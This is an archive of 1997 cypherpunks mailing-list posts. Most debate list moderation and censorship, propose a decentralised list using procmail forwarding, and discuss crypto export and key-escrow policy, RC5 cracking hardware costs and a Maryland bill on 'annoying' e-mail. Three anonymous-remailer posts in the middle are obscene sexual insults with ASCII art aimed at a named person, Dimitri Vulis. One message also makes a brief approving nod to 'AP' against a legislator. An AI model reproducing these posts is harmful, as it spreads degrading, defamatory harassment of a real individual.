 and dad you wind up doin' time." | 'send pgp-key' for my public key.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Krenn <krenn@nym.alias.net>
Date: Mon, 3 Feb 1997 10:00:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19970203180027.1972.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



> Mark Henderson wrote:
> > 
> > Larry Johnson writes:
> > > Hello,
> > > Can any;one tell me how to get a version of PGP 2.1?
> > > Thanks
> > >
> > But, why do you want version 2.1?
> 
> Because the guy who wrote it was let off after that on his jail 
> charges, so I'm not going to use anything he made after that if
> I don't know why.
> I'm not saying that he rolled over or nothin buyt I'm gonna be
> paranoyd like he said in the book. I dont suposse he'd mind,
> since he said it.
> I'm not real smart sometimes but I'nm not a real lamer, either.
> (I don't think)
> 

No, you're not real smart. The source code is _provided_ with PGP. If
you are paranoid, _read_ it.

Krenn




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 3 Feb 1997 17:58:24 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Govt & cyberspace
Message-ID: <v02140b03af1c360d86d0@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


[snip]
>"tech envy"-- what impact is this going to have on our
>government? it's becoming a huge issue. it may be a
>really great opportunity for a populist movement to
>truly reform the government in the process of upgrading
>their computers.

Even better, this is an opportunity to choke off all, or certainly
increased, funding in order to hasten its collapse.

>I suspect that the "groupware" technology
>that is just getting started will have major influence
>in these areas. as private companies find increasingly
>sophisticated ways of managing themselves, the obvious
>question will arise, "why can't we have an efficient govt
>when our private industries are"? the answer is, we
>can!!

Don't improve it, remove it!

>
>I've written about "electronic democracy" repeatedly. many
>people object to the idea. but when it is phrased in terms
>of groupware, it becomes more palatable. imagine a small
>company humming along with its groupware application that
>allows it to make company-wide decisions using a democratic
>process. moreover, the software is robust and scales well.
>why can't the same principles be scaled up, up, up? I predict
>that they will be in a rather extraordinary revolution.
>
>a new "velvet revolution"? comments anyone?

Democracy is not without its significant shortcomings. If you doubt this
read Tocquevelle.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 3 Feb 1997 18:08:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <199702040208.SAA09884@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:
...
>Another lesson is the danger of choke points.  We can see how
>tempting it is for people to exercise their control.  Even John Gilmore
>was unable to restrain himself from involuntary social engineering
>experiments.  Who would we have considered to be more trustworthy?
>
>Toad.com is a choke point, not just in terms of moderation but in
>terms of the rate at which it can distribute messages.  Let's
>replace it.
>
>What we want are many machines carrying the cypherpunks list.  A
>message posted to any machine goes to all of the others.  Each
>machine sends messages to its subscribers only once.  Some of
>these machines should be across borders.
>
>The mail loop and multiple posting problems are solved by observing
>the message IDs.
>
>Fast implementation: use moderated mailing list software.  Put a
>filter in the .forward file of the "moderator" account which looks
>at the message ID and forwards the message if it hasn't been seen
>already.  The mailing list machines all subscribe each other.
...
What you are suggesting is reminiscent of IRC.  Except, I think that each
IRC network has a central computer which could be controlled.

On your idea for fast implementation,  this could be hacked by would-be
censors.  A message comes into the list, the censor sees that the post is
from a regular enemy.  The censor then copies the header information onto a
new message, one containing garbage, or snippets from old posts, reads the
new post to see if it is acceptable, and if it is, adds a new header,
probably only the time would be changed, and transmits it out.  If the would
be censor was the sysop of a machine near the origin of the message, and if
the censor operated the censorship either by bots, or monitored the feed 24
hours a day, (not likely), then the actual message would get to few.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Mon, 3 Feb 1997 15:31:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: [PKP] Info please!
Message-ID: <199702032331.PAA13031@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Debauchery L[ethargic] Vilus K[unt]OTM likes to be the man in
the middle, getting it both up the ass and in his mouth.

   ,/         \,
  ((__,-"""-,__))
   `--)~   ~(--`
  .-'(       )`-, Debauchery L[ethargic] Vilus K[unt]OTM
  `~~`d\   /b`~~`
      |     |
      (6___6)
       `---`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Mon, 3 Feb 1997 15:35:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Editted Edupage
Message-ID: <199702032334.PAA13147@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



When Dimitri L[eisuresuit] Vulis K[arcinogen] Of The Month's
mother gave birth to him after fucking with a bunch of sailors,
she didn't know who the father was but decided to tell him that
he was a Russian as the Russian sailor was the one who satisfied
her the most.

               _
              I I           
              I~I           
              I~I           
      __    _ I~I _  .      
      \ \  I_I/I-II-II      
       \~~\'   `-'`-'~I     
        \_ ) ~\_ /~~  )  Dimitri L[eisuresuit] Vulis K[arcinogen] Of The Month
          \_    Y    )'       
            \   ^   /       
             |~   ~|        
              =====






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Scott V. McGuire" <svmcguir@syr.edu>
Date: Mon, 3 Feb 1997 15:43:04 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702030626.WAA14617@toad.com>
Message-ID: <Pine.LNX.3.95L01at.970203173304.618A-100000@homebox>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I've been quiet about the moderation experiment (and I never posted
frequently anyway) but something Sandy wrote requires comment.  In
responding to Tim, Sandy points to the number of people on the censored
list as evidence of the acceptance of the filtering.  I am included in
that group and object to my silence being interpreted as support.

As Tim has pointed out, the bulk of the 2000 or so people who have
remained on the filtered list have never been active participants on the
list.  As we have never heard from them, we don't even know that they were
bothered by the flames and noise of the pre-filtered list.  And, even if
we did know, I don't think that there opinions should count as much as
those of the more active participants to the list.  A subscription to the
list does not make one a member of the Cypherpunks "community".  It is the
opinion of the members of the community and not the observers of it which
should matter.  (Even within the community, some people are more a part of
it than others, and nobody is more a part of it then Tim.)

As for the rest of us on the filtered list who are active (or occasionally
active) participants, our remaining on the list still can not be taken as
support for censorship.  Moderation of the list was announced as a one 
month experiment.  I didn't change my subscription from the filtered to
the unfiltered list because I expected this to end in a month and I was
willing to participate in the experiment.  You can't ask someone to try
something for a month to see if they like it and call there use of it in
that month evidence that they like it.

As long as I am writing, I may as well write the rest of my thoughts.  While
there was a period between the announcement of moderation and the start of
it during which people could (and did) comment on the change, the
announcement was clear that there would be moderation.  It was indeed a
fait accompli.  The moderated list should have been offered but not
imposed.  Then the experiment would have determined how many people
thought the list was so bad that they would seek moderation, rather than
determining how many thought moderation was so bad that they would seek to
avoid it.

Sandy, you said that you thought the list had improved since you began
moderating.  How could you think otherwise?  When you send an article to
the flames list its because you think the list would have been worse
otherwise.  I don't think the moderators opinion should be considered in
determining if moderation is a good thing.  I think there is a conflict of
interest there.

- --------------------
Scott V. McGuire <svmcguir@syr.edu>
PGP key available at http://web.syr.edu/~svmcguir
Key fingerprint = 86 B1 10 3F 4E 48 75 0E  96 9B 1E 52 8B B1 26 05



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Version: 2.6.3i
Charset: noconv

iQCVAwUBMvZ3lN7xoXfnt4lpAQGjbgQAs9qqrOZCgHeT19yh6LOS8rsXVAglssVI
2VLCiKb/X0Ny1+p3kzTiit42uykv5IhoCn+GdJF0X08zW02ymRf6JIv2sLksW2ln
E+SZuUoLFk18emLIJMEVGNPW7cJEl7/a75IdETrU14RcdBN8F86bm5VK36kyNMIY
kPfB825uWxU=
=N3va
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 17:51:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: RSA Algorithm
Message-ID: <199702040151.SAA12297@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Drunkard Vagina has been fired for masturbating in front of his
boss.

 ^-^-^-@@-^-^-^
      (..)     Drunkard Vagina






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "A. Padgett Peterson P.E. Information Security" <PADGETT@hobbes.orl.mmc.com>
Date: Mon, 3 Feb 1997 16:27:44 -0800 (PST)
To: eb@comsec.com
Subject: Re: RC5-12/32/5 contest solved
Message-ID: <970203192628.2021835b@hobbes.orl.mmc.com>
MIME-Version: 1.0
Content-Type: text/plain


>I received a nice flyer in the mail the other day from "Chip Express"
>(www.chipexpress.com, 800-95-CHIPX). They are offering Laser
>Programmed Gate Arrays.  It appears to be a reasonable way to get some
>Wiener chips built.  As I recall, the Wiener design required about
>23,000 gates.  Their blurb had the following table in in:

>  FPGA Gates  ASIC Gates  500 Units  1000 Units  5000 Units
>    40,000      20,000      $77        $45         $10
>   Not Avail   200,000     $176       $150         $82

First I can buy a 486DX-66 (with fan) for $37, but to make it into a PC 
takes just a wee bit more. Second, there is a world of difference in speed
between a Field Programmable Gate Array and an Application Specific
Integrated Circuit. The second is much faster (have heard of up to 200 Mhz)
but doubt that you can get there with a laser (probably where the 50 Mhz
figure comes from). I suspect you will need to have a mask made first - that 
is where the real money goes. However lets consider that you are really lucky 
and the first mask works and you get 100% yield (good chips).

Next you need a backplane with an input mechanism to prime each of those
chips with the text to break (will assume you have built in the 
initialization sequences for each chip). Then you need a path to provide
the KPT to the XOR at the output, powersupply, RF shielding, and a few 
other minor items (can probably use a PC for a front end).

Then, you need a way to report success but that is trivial.

Finally, you need to hope that none of those 5000 chips experiences infant
mortality or that you have some scheme to detect if that happens and to
which chip (was there BITE in the design ?).

Personally, would design the 5,000 to provide possible answers (say 2^32)
as an initial step and then push that into a single MasPar or similar. Might
find out some interesting things that way while reducing the overall 
complexity.

Just some food for thought.
					Warmly,
						Padgett

ps couple of people last year were working with FPGAs, I corresponded
   with them briefly. Why not ask them how my "guesstimates" correlated
   with their experiments...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: thad@hammerhead.com (Thaddeus J. Beier)
Date: Mon, 3 Feb 1997 19:29:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: GAK cracking?
Message-ID: <199702040329.TAA28399@hammerhead.com>
MIME-Version: 1.0
Content-Type: text/plain



TIS's press releases, and the article in the paper, imply that
TIS has been approved for 128 bit (uncrackable, except by prior
arrangement) cryptography...not just 56 bit.  They say, and they
should know, that you can export 56 bits now with just a "plan"
of key escrow, and that you can export more if you have a system...
which, what do you know, they have!

thad
-- Thaddeus Beier                     thad@hammerhead.com
   Visual Effects Supervisor                408) 287-6770
   Hammerhead Productions  http://www.got.net/people/thad




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clint Barnett <cbarnett@eciad.bc.ca>
Date: Mon, 3 Feb 1997 19:38:41 -0800 (PST)
To: Anonymous <nobody@replay.com>
Subject: Re: Getting into MIT is impossible
In-Reply-To: <199701290659.WAA21869@toad.com>
Message-ID: <Pine.SGI.3.91.970203193644.27838J-100000@oswald>
MIME-Version: 1.0
Content-Type: text/plain


wasn't Dolph Lundgren an MIT grad? I seem to remember something about him 
having a degree in Chemical Engineering  or something along those lines. 

clint barnett
lord of the cosmos
emily carr institute

On Wed, 29 Jan 1997, Anonymous wrote:

> 
> 
> According to Rick Osborne:
> 
> "I disagree and can speak from experience.  I was denied admission to MIT
> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
> was on several academic teams, sang in Chorus, acted and stage managed in
> Drama, and played Tennis."
> 
> People get into MIT--or don't get into MIT--for lots of reasons. Most
> intelligent people apply to several schools, knowing that admissions
> practices are subject to the vagaries of reality.
> 
> In my case, my SATs were about 1500, with some 800s in achievement tests.
> And the usual bullshit high school clubs, political offices, etc. etc. I
> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
> way things turned out.
> 
> And I decided not to go to MIT, either.
> 
> "The only thing I didn't have that the next MIT applicant had was money.  I
> made the mistake of letting them know that I was dirt poor and would need
> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
> Russian front!""
> 
> My guess is that "other factors" were involved. 
> 
> I noted with some interest, but little surprise, that the guy claiming MIT
> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
> had major problems making a coherent point. Methinks this is why MIT
> rejected him, not his lack of a "1600."
> 
> ">For what it's worth, I wanted to go to MIT my sophomore year in high
> >school, too
> 
> "Lucky you.  It had been a dream of mine since I was an annoying
> overachiever of 6.  Sux to be white trash, I guess."
> 
> MIT offered me a substantial economic aid package, in the form of loans,
> grants, and various campus jobs. What does this tell you?
> 
> "MIT may be a great school, but they tend to be snooty assholes for the most
> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
> assholes", I'm just saying that I've yet to meet one that wasn't.)
> 
> I've known about a dozen or so MIT grads, and only one of them was a snooty
> asshole, and it was a _she_, one of the first MIT women grads (and she was
> _very_ impressed by this). 
> 
> Most MIT grads are perfectly reasonable.
> 
> Xanthar
> 
> 
> 
> 
> --
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 3 Feb 1997 17:46:41 -0800 (PST)
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702040027.AAA00276@server.test.net>
Message-ID: <199702040139.TAA01626@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Adam Back wrote:
> 
> Perhaps it is time to reconsider the benefits of alt.cypherpunks.  (As
> an aside, it is ironic that John Gilmore was the guy who started the
> alt.* USENET hierarchy, specifically to facilitate freedom of speech).
> 

An interesting idea.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 19:45:44 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Embarrass a Marylander, Go to Jail
Message-ID: <199702040345.TAA03330@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:04 PM 2/3/97 -0500, Robert Hettinga wrote:
>
>--- begin forwarded text
> Excerpted from...
>
> =============================================================
> AOP Bulletin      Friday, February 3, 1997       Volume 97:05
> =============================================================
>
> The following is information distributed to members of the
> Association of Online Professionals and others involved in the
> online communications industry.  Contacts and other information
> about AOP may be found at http://www.aop.org.
>
>
> *****************************************************
> Maryland Recycles Law On "Annoying" E-Mail
> *****************************************************
>
> A Maryland bill that would make it illegal to send "annoying"  or
> "embarrassing" e-mail was introduced this week by Democratic General
> Assembly member Samuel Rosenberg.

I would find any email "annoying" that supported such a bill.  Maybe we 
ought to send emails to Rosenberg, stating that we find his entire proposal 
"annoying," and ask him when he's going to turn himself in for his misdeeds.


Another good argument for AP.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 3 Feb 1997 19:45:49 -0800 (PST)
To: "cypherpunks@toad.com
Subject: Re: GAK cracking?
Message-ID: <199702040345.TAA03337@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 AM 2/3/97 -0500, tmcghan@gill-simpson.com wrote:
>But under a controversial new Clinton administration policy that took 
>effect Jan. 1, companies may receive permission to export stronger 
>programs. 
>
>"I'm happy that we've been able to do this within the first month 
>without rancor or difficulty," Under Secretary of Commerce for Export 
>Administration William Reinsch told Reuters in a telephone interview. 
>
>To export stronger programs immediately, companies must agree to 
>incorporate features within two years allowing the government to 
>decode encrypted messages by recovering the software keys, however. 


This ought to be challengeable.  (equal-protection violation?)  

And while the government's actions are normally phrased in this way, another 
way to describe them is to argue that the government is:

1.   Wanting a product or service to be developed.

2.   Wants private companies to do this.

3.   Wants to do so without Congress appropriating the money.  (And they're 
doing it by, in effect, "paying" for it by allowing certain companies to 
export freely, with the requirement that the company does the work "gratis".)

4.   Wants to do so without any sort of competitive bidding process.  (The 
terms of the contract have not gone through any of the normal procedures.)


I assume there are laws and/or rules which prohibit exactly this kind of 
behavior. 

Would it be possible to file a lawsuit, and then file for an injunction to 
prevent this de-facto deal from going through?   Might this constitute an 
anti-trust violation, because multiple companies are acting in concert to 
restrict access to the foreign crypto market by agreeing to develop ONLY A 
CERTAIN KIND OF ENCRYPTION, namely GAKked encryption?




Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 3 Feb 1997 19:53:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
Message-ID: <3.0.1.32.19970203195901.006ea230@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:55 AM 2/3/97 -0800, Peter Hendrickson wrote:

>Moderation has been a failure.  I'm pretty good at filtering and I
>can sadly report that there is very little signal out there.

I don't think it's reasonable to expect an increase in signal within 2 1/2
weeks of the start of moderation. Improvement in the s/n ratio, yes. But
(at least if my speculation is correct), the good posts driven away by bad
posts (because some good authors are too busy to wade through lots of crap,
and some good authors are reluctant to publish their work amidst crap)
would take a much longer time to return.

(I'm working on a message re moderation and the list which will better
explain what I think about that - but I'm not trying to argue, above, that
we *must* have moderation for a long time - simply that it's too early to
call it a failure for failing to significantly increase the number of
useful messages.) 

>There are lessons to be learned here.  One is that censorship does
>not promote a stimulating and creative dialogue.

No, that is a silly lesson to draw from this experiment. There are lots of
useful and interesting "moderated" (on paper, it's called "editing")
publications/lists/digests where the content is intentionally controlled
for content and style. 

This particular implementation is imperfect. However, just as it would be
overreaching to conclude from the relative uselessness of the
pre-moderation list that "every list must be moderated, unmoderated lists
cannot succeed", it overreaches to conclude from the current results that
moderated lists cannot succeed.

>Toad.com is a choke point, not just in terms of moderation but in
>terms of the rate at which it can distribute messages.  Let's
>replace it.
>
>What we want are many machines carrying the cypherpunks list.  A
>message posted to any machine goes to all of the others.  Each
>machine sends messages to its subscribers only once.  Some of
>these machines should be across borders.
>
>The mail loop and multiple posting problems are solved by observing
>the message IDs.

I think you misspelled "Usenet". Hope this helps. 

Seriously, if you want a distributed no-choke-points "flooding" message
distribution system, you're talking about Usenet. Robust software exists
for clients and servers, and it's already supported worldwide on many
operating systems. No need to write more software to graft that
functionality onto E-mail. If the list is going to turn into Usenet (we've
already got most of Usenet's better kooks), we might as well just move the
damn thing over to alt.cypherpunks and be done with it. (Anyone care to
guess who founded alt.* as a way to route around censorship?)

(Of course, Usenet is a technical success and a spectacular failure,
content-wise. So opponents of moderation will be forgiven for failing to
mention this sparkling example of an unmoderated, anything-goes forum for
discussion.)


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 3 Feb 1997 18:03:12 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Dissolving Choke Points (fwd)
Message-ID: <199702040200.UAA01810@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


> From: ####### ### <###@###.com>
> To: ichudov@algebra.com
> Subject: Re: Dissolving Choke Points
> 
> ichudov@algebra.com writes:
>  > i do have unix (linux) and stuff, but i can't take a lot of subscribers
>  > -- maybe 200-300 or so.
>  > 
>  > i actually wrote a proposal for a mailing list without a central control
>  > point, with several advantages being impossibility of control, absense
>  > of a single point of failure, and cryptographic verification of honesty 
>  > of moderators.
>  > 
>  > if there is any interest, i will post it here.
> 
>      Please do.
> 
> Regards,
> 
> ####### ###

Here, I propose a new scheme for the Cypherpunks mailing list that would

1) Ensure that no one person is able to take over the control over the list
2) Ensure that there will be no single point of failure, i.e., shutdown
   of any single computer will not kill the list
3) Ensure that even people with relatively small Net resources can help
   keep the list afloat.

The idea is as follows: even though Cypherpunks is one group, the group
will be based on multiple mailing lists with identical content. These
lists may be named, for example, cypherpunks@algebra.com,
cypherpunks@toad.com, and cypherpunks@netcom.com (obviously, these names
are used as an example only).

Any user is free to subscribe to any of these lists. All of these lists
will interact with each other in the following way: 

1) Each node would forward ALL incoming submissions to a) all other nodes
   and b) to all subscribers "attached" to the node
2) Each node will send information about all new subscriptions to 
   each other node.

The following procmail recipes for cypherpunks@ accounts may be used to 
ensure quick forwarding: 

# is it sent to cypherpunks (some spams will be trashed here)
# and is it not a mail loop?
:0
* ^TOcypherpunks
* !^X-Loop:
{
  #
  # This recipe removes duplicates!
  #
  :0 Wh: msgid.lock
  | formail -D 32768 msgid.cache

  # forward it to other cypherpunks lists
  :0 c
  !cypherpunks@netcom.com cypherpunks@toad.com

  # send it to all local subscribers
  :0 c
  !majordomo -some -arguments

  # store the checksum and message-id for honesty verification (see below)
  :0
  |accounting
}

# suSCRibe/unsuSCRibe recipes go here

This scheme ensures that the list is run in a cooperative fashion and
can be maintained by a number of individuals without any one of them
having an expensive internet connection or being "in charge". It also
ensures that even if one node fails, traffic can be re-routed to other
nodes. Just as well, it ensures that any attempts of cheating will be
noticed: it is easy to write a bot that would subscribe to all of these
lists and see if any messages get "lost".

Users can send their articles to only one node, or, if they feel
paranoid, to several nodes at once. All we need is to make sure that 
all Message-IDs of outgoing messages are unique at every node.

Honesty verification: 

I suppose that there may be some more elaborate, crypto-based schemes 
to control and monitor article distribution. For example, there can be
another list, cypherpunks-control, where each of the nodes posts a 
publicly available signed summary of checksums of articles that went
through, and individual users would be able (with the help of s simple
client program) to verify that

        1) They received these articles
        2) That summaries received from all nodes are identical
        3) That all articles were received by all nodes


They do not HAVE to do it, but they can if they want. If they do, there
will be no way for list maintainers to censor anything.

If a node goes down or if the users' verification scripts indicate a 
potential for cheating, they can resubscribe to some other node and
let everyone else know what's going on.

My proposal strikes me as fairly simple and potentially workable. Even
though 90% of the users will never get to usnig the verification
mechanism, it will ensure honesty.

Note also that this mechanism is a gross simplification of the way 
USENET works, so some may vouch for a usenet group instead. 

Your opinions will be appreciated.

        - Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 3 Feb 1997 17:10:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Embarrass a Marylander, Go to Jail
Message-ID: <v03007800af1c3b80e923@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Mon, 3 Feb 1997 19:25:51 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Embarrass a Marylander, Go to Jail
X-orig-from: Randy Cassingham <arcie@netcom.com>
X-e$pam-source: Various

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Date: Mon, 3 Feb 1997 14:37:56 -0700 (MST)
 From: Randy Cassingham <arcie@netcom.com>
 Subject: Embarrass a Marylander, Go to Jail
 To: listmom-talk@skyweyr.com
 Mime-Version: 1.0
 Precedence: Bulk
 Reply-To: listmom-talk@skyweyr.com


Passed on without comment.

  /  Randy Cassingham  *  Author, "This is True"  *  arcie@netcom.com  \
  | For info on What I Do, send a blank e-mail to TrueInfo@freecom.com |
  \ or check out <http://www.freecom.com/> * I promise you'll like it  /
   + FIGHT SPAM! Send a blank e-mail to nospam@mailback.com for help! +

 ---------- Forwarded message ----------

 Excerpted from...

 =============================================================
 AOP Bulletin      Friday, February 3, 1997       Volume 97:05
 =============================================================

 The following is information distributed to members of the
 Association of Online Professionals and others involved in the
 online communications industry.  Contacts and other information
 about AOP may be found at http://www.aop.org.


 *****************************************************
 Maryland Recycles Law On "Annoying" E-Mail
 *****************************************************

 A Maryland bill that would make it illegal to send "annoying"  or
 "embarrassing" e-mail was introduced this week by Democratic General
 Assembly member Samuel Rosenberg.

 The bill got little support when it was introduced last year, but
 Rosenberg hopes to play off of recent murders involving electronic mail to
 see the bill passed.

 Civil liberties groups argue that the law would be unconstitutional, and
 that the terms "annoy" and "embarrass"  are too vague to be meaningful.
 If passed, House Bill 778 would amend the state's criminal harassment law
 to prohibit the use of email to annoy, abuse, torment, harass, or
 embarrass other people, with violators receiving a fine up to $500 and
 three years in jail.

 A similar bill introduced last year is quietly progressing through New
 York's state legislature. Senate Bill 1414, introduced by Democratic State
 Senator Ray Goodman, could be voted on in the House early this year.

 Full text of the Maryland bill can be found at
 http://mlis.state.md.us/1997rs/billfile/HB0778.htm.



--------------------------------------------------
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 3 Feb 1997 20:12:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Govt & cyberspace
Message-ID: <88CE23A0B727D0118BB000805FD47524AF3DAB@RED-81-MSG>
MIME-Version: 1.0
Content-Type: text/plain


Comments From:	Steve Schear  (in response to Vladimir Nuri-logical)

Even better, this [govmt "tech envy"] is an opportunity to choke off
all, or certainly
increased, funding in order to hasten its [govmt] collapse.
	...&...
Don't improve it, remove it!
	...&...
Democracy is not without its significant shortcomings. If you doubt this
read Tocquevelle.
........................................


Very pertinent suggestions.  Anyone who knows his history on the list
knows how Nuri-logical looks forward to the collapse of governments and
is especially fond of reading Tocqueville.

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Farber <farber@cis.upenn.edu>
Date: Mon, 3 Feb 1997 17:41:57 -0800 (PST)
To: Sean Roach <roach_s@ALPH.SWOSU.EDU>
Subject: Re: concerning Ben Franklin
Message-ID: <3.0.1.32.19970203204058.006e465c@linc.cis.upenn.edu>
MIME-Version: 1.0
Content-Type: text/plain


My favorate Ben Franklin quote is

"They that can give up essential liberty to obtain a little temporary 
 safety deserve neither liberty nor safety."       - Ben Franklin, ~1784




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 3 Feb 1997 21:25:58 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: My Departure, Moderation, and "Ownership of the List"
Message-ID: <88CE23A0B727D0118BB000805FD47524AF3DAC@RED-81-MSG>
MIME-Version: 1.0
Content-Type: text/plain


From:	Vladimir Z. Nuri, in his Ruskie disguise:

hi timmy, a word to the wise: it amuses me that whenever I referred
to a cypherpunk "community" my eyebrows were flamed off, by people
who claimed there was no such thing. a community has certain properties,
many of which I believe the cypherpunks "crowd" has always lacked.
......................................


LD, when you say "community" it means something else than when others
do.  When the cpunks said "community" they meant the camaraderie which
develops in the company of people with similar interests.  When you say
it, it means a group of people stuck to each other by rules of order and
socialization, with boundary lines predetermining the limits of their
arena.

The cpunks had intended that everyone would self-determine the extent or
limits of their interactions, thus arriving at a sense of "community"
from the decision to do so, rather than from being squeezed along
through "proper" channels. 


==
one aspect of the "crowd" that is lacking is LEADERSHIP. I have pointed
this out again and again. the cpunks believe that leadership is no
longer relevant in a digital society, somehow. the list is in the
shape it is in because of POOR LEADERSHIP.. neither you nor EH care
about what LEADERSHIP entails, or wish to exert the sacrifices that
it requires. 
...............................


Typically, people who yell for LEADERSHIP are those who either need it
themselves or are eager to supply it for others - i.e., to determine the
course of events.   Which one of these categories do you yourself fall
into?


==
<<* The proper solution to bad speech is more speech, not censorship.

ah, so everyone should post 5 messages to the list, instead of 1, and
those that are quite should post 3. 
........................................


I would more precisely say that the solution to bad speech is better
speech, thus eliminating the need for 5 messages when 1 will do. YMMV.
Do you think this would hold up in reality?


==
quite an elegant solution. do you
see how the silly rhetoric fails to hold up in reality? when will you
get a clue about where your own views are really leading you? 
................................


You're starting to sound like Ayn Rand. (heh)

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 3 Feb 1997 18:40:55 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Moderation [Tim,Sandy]
In-Reply-To: <199702032011.MAA01053@toad.com>
Message-ID: <199702040258.UAA02235@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> I believe that Cypherpunks is beyond hope of recovery. In fact, each day
> Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
> cause. Let's kill the list. Once and for all. Let the hard core crypto go
> to Coderpunks, the politics to Cryptography, and the garbage into the void.

    Correct me if I am wrong, but isn't(wasn't) there an implied threat of 
moderation on the cryptography@c2.net list? Mr. M started it with the intent
of getting away from much of the cruft (ADD, & etc.) that had accumlated 
here, and he was quite open about moderating it if he thought it needed it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lwjohnson@grill.sk.ca (Larry Johnson)
Date: Mon, 3 Feb 1997 20:08:12 -0800 (PST)
To: Mark Henderson <mch@squirrel.com>
Subject: Re: PGP 2.1
In-Reply-To: <199702022225.OAA03367@toad.com>
